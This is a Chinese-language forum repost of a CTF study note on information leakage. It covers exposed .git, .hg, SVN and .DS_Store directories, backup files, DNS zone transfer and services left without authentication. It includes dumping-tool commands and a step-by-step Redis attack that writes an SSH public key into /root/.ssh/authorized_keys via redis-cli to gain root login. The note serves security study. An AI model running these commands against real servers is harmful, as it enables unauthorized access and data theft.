搜索

[21127] 2020-07-10_CTF之信息泄漏

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-07-10_CTF之信息泄漏 C T F 之 信 息 泄 漏 L e m o n S e c   2 0 2 0 - 0 7 - 1 0 w e b 源 码 泄 漏 源 码 泄 漏 . h g 源 码 泄 漏 ： 漏 洞 成 因 ： h g     i n i t 的 时 候 会 生 成 . h g ， h t t p : / / w w w . x x . c o m / . h g / ， 工 具 ： d v c s - r i p p e r ， （ r i p - h g . p l   - v   - u   h t t p : / / w w w . x x . c o m / . h g / ） . g i t 源 码 泄 漏 ： 漏 洞 成 因 ： 在 运 行 g i t   i n i t 初 始 化 代 码 库 的 时 候 ， 会 在 当 前 目 录 下 产 生 一 个 . g i t 的 隐 藏 文 件 ， 用 来 记 录 代 码 的 变 更 记 录 等 ， 没 有 删 除 这 个 文 件 ， 导 致 泄 漏 ， h t t p : / / w w w . x x x . c o m / . g i t / c o n f i g 工 具 ： G i t H a c k ， d v c s - r i p p e r ， （ G i t H a c k . p y   h t t p : / / w w w . x x x . c o m / . g i t ， r i p - h g . p l   - v   - u   h t t p : / / w w w . x x . c o m / . g i t / ）   . D S _ S t o r e 源 码 泄 漏 ： 漏 洞 成 因 ： 在 发 布 代 码 时 ， 没 有 删 除 文 件 夹 中 隐 藏 的 . D S _ s t o r e ， 被 发 现 后 ， 获 取 了 敏 感 的 文 件 名 等 信 息 ， h t t p : / / w w w . x x x . c o m / . d s _ s t o r e 工 具 ： d s s t o r e e x p ， （ p y t h o n   d s _ s t o r e _ e x p . p y   h t t p : / / w w w . x x x . c o m / . D S _ S t o r e ） 网 站 备 份 压 缩 文 件 ： 在 网 站 的 使 用 过 程 中 ， 往 往 需 要 对 网 站 中 的 文 件 进 行 修 改 ， 升 级 ， 此 时 就 需 要 对 网 站 整 或 其 中 某 一 页 面 进 行 备 份 ， 当 备 份 文 件 或 修 改 过 程 中 的 缓 存 文 件 因 为 各 种 原 因 被 留 在 网 站 w e b 目 录 下 ， 而 该 目 录 又 没 有 设 置 访 问 权 限 ， 就 有 可 能 导 致 备 份 文 件 被 下 载 ， 导 致 信 息 泄 漏 ， 给 服 务 器 安 全 埋 下 隐 患 。 . r a r ，   . z i p ，   . 7 z ，   . t a r . g z ，   . b a k ，   . s w p ，   . t x t ，   . h t m l ， 工 具 ： 可 以 使 用 一 些 扫 描 软 件 ， 进 行 扫 描 ， 如 a w v s 之 类 的 像 . s w p 文 件 ， 就 是 v i m 源 文 件 泄 漏 ， / . i n d e x . p h p . s w p 或 / i n d e x . p h p ~   可 以 直 接 用 v i m   - r   i n d e . p h p 来 读 取 文 件 S V N 导 致 文 件 泄 漏 ： 版 本 控 制 系 统 工 具 ： d v c s - r i p p e r ， S e a y - S v n ， （ r i p - s v n . p l   - v   - u   h t t p : / / w w w . x x x . c o m / . s v n / ） 应 用 层 泄 漏 应 用 层 泄 漏 D N S 域 传 送 ： d n s 服 务 器 的 主 备 数 据 同 步 ， 使 用 的 是 域 传 送 功 能 ， 如 果 使 用 默 认 配 置 文 件 进 行 配 置 ， 就 会 存 在 d n s 域 传 送 漏 洞 （ 不 手 动 添 加 a l l o w - t r a n s f e r ） 工 具 ： d i g   @ 1 . 1 . 1 . 1   x x x . c o m   a x f r   （ 会 泄 漏 一 些 信 息 ） H e a r t B l e e d ： 利 用 h t t p s
从 堆 栈 错 误 泄 漏 到 R C E ： 利 用 报 错 ， 泄 漏 信 息 ， 利 用 函 数 t r y { . . . . } c a t c h e ( e ) { e . p r i n t s t a c k ; } 未 授 权 访 问 漏 洞 ： 未 授 权 访 问 - - - - 应 用 层 服 务 的 问 题 ， 服 务 启 动 后 ， 没 配 置 任 何 凭 证 ， 导 致 可 以 直 接 进 入 弱 口 令 - - - 配 置 的 密 码 过 于 简 单 常 见 空 口 令 - - - 没 配 置 密 码 目 前 主 要 存 在 未 授 权 访 问 漏 洞 的 如 下 ： N F S ， S a m b a ， L D A P ， R s y n c ， F T P ， G i t l a b ， J e n k i n s ， M o n g o D B ， R e d i s ， Z o o K e e p e r ， E l a s t i c S e a r c h ， M e m c a c h e ， C o u c h D B ， D o c k e r ， S o l r ， H a d o o p ， D u b b o 等 ， 这 些 都 是 挖 矿 勒 索 的 高 发 地 带 如 ： r e d i s 为 授 权 访 问 漏 洞 ， 默 认 情 况 下 会 绑 定 在 0 . 0 . 0 . 0 : 6 3 7 9 ， 这 样 会 将 r e d i s 服 务 暴 露 到 公 网 上 ， 如 果 没 有 开 启 认 证 的 情 况 下 ， 可 以 导 致 任 意 用 户 可 以 访 问 目 标 服 务 器 ， 可 以 利 用 相 关 方 法 ， 在 r e d i s 服 务 器 上 写 入 公 钥 ， 进 而 可 以 使 用 对 应 私 钥 直 接 登 陆 目 标 服 务 器 。 1 . 本 地 生 成 公 钥 私 钥 s s h - k e y g e n   - t   r s a 2 . 把 公 钥 写 入 x x . t x t 文 件 ( e c h o   - e   " n n " ; c a t   i d _ r s a . p u b ; e c h o   - e   " n n " )   >   x x . t x t 3 . 连 接 r e d i s 写 入 文 件 c a t   x x . t x t   |   r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 . 2   - x   s e t   c r a c k i t r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 . 2 1 9 2 . 1 6 8 . 1 . 2 : 6 3 7 9 >   c o n f i g   s e t   d i r   / r o o t / . s s h / 1 9 2 . 1 6 8 . 1 . 2 : 6 3 7 9 >   c o n f i g   g e t   d i r 1 ) " d i r " 2 ) " / r o o t / . s s h " 1 9 2 . 1 6 8 . 1 . 2 : 6 3 7 9 >   c o n f i g   s e t   d b f i l e n a m e   " a u t h o r i z e d _ k e y s " 1 9 2 . 1 6 8 . 1 . 2 " 6 3 7 9 >   s a v e 也 可 以 使 用 m s f 里 面 成 熟 的 e x p 来 利 用 友 情 链 接     h t t p : / / w w w . c n b l o g s . c o m / k l i o n s e c h t t p : / / w w w . c n b l o g s . c o m / l 0 c m
    没 有 专 业 运 营 团 队 ， 纯 个 人 凭 着 空 闲 时 间 的 学 习 ， 通 过 网 络 搜 集 与 学 习 整 理 的 资 料 记 录 并 分 享 。   如 果 觉 得 文 章 对 你 有 帮 助 ， 请 支 持 下 点 击 右 下 角 “ 在 看 ” h t t p : / / w w w . c n b l o g s . c o m / l 0 c m h t t p : / / w w w . c n b l o g s . c o m / A n o n y a p t x x x h t t p : / / w w w . f e i y u s a f e . c n 转 载 自 ： h t t p s : / / w w w . c n b l o g s . c o m / H y d r a x x / p / 1 0 7 6 2 5 1 2 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理